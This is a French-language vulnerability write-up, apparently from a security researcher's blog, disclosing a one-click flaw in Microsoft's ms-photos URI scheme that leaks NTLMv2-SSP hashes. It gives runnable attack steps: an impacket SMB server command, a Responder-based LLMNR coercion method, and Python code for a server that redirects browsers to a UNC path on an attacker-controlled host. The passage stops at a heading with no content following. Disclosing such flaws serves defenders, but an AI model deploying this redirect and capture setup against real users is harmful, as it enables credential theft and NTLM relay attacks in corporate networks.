
Nouvelle vulnérabilité 0 day permettant de fuiter des hashs NTLM depuis les navigateurs en un clic
Par Ruben Enkaoua
Le schéma d'URI Microsoft ms-photos prend fileName comme paramètre, qui peut être soumis avec un chemin UNC, divulguant les hashs NTLMv2-SSP une fois l'application ouverte. En créant un lien spécialement formaté, un attaquant peut contraindre une victime à lancer l'application Microsoft Photos directement depuis un navigateur. Lorsqu'elle est déclenchée, cette action entraîne la fuite du hash NTLMv2-SSP de la victime vers un serveur contrôlé par l'attaquant. Ce problème permet l'exposition des identifiants et d'éventuelles attaques par relais dans les environnements d'entreprise, ne nécessitant qu'une interaction minimale de l'utilisateur (ouverture de l'application). Microsoft n'a pas reconnu la vulnérabilité et aucun CVE n'a été émis. De plus, je me suis inspiré du blog Syss de 2022.
Étant donné que le challenge NTLMv2-SSP peut être divulgué vers des chemins UNC exposés publiquement (sauf si une règle de pare-feu sortante SMB/445 est définie), la vulnérabilité peut être combinée à des infections de sites Web, menant à des attaques de la chaîne d'approvisionnement.
Dans la documentation MSDN sur le schéma d'URI, nous pouvons trouver ce qui suit :
Démarrez le serveur smb
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
Démarrez le serveur python malveillant
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
Accédez à l'emplacement
Ouvrez Chrome et accédez à /test

De plus, cela peut être fait avec Responder. Tout domaine non résolu émettant une requête LLMNR sera redirigé vers le script, permettant de contraindre n'importe quel utilisateur au lieu d'afficher une fenêtre d'authentification NTLM utilisateur/mot de passe. Pour que cela fonctionne, exécutez d'abord le script, puis Responder.

Cela fonctionne car notre application redirige directement vers un schéma d'URI ms-photos, contenant le chemin UNC de notre serveur :
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
Redirection côté client :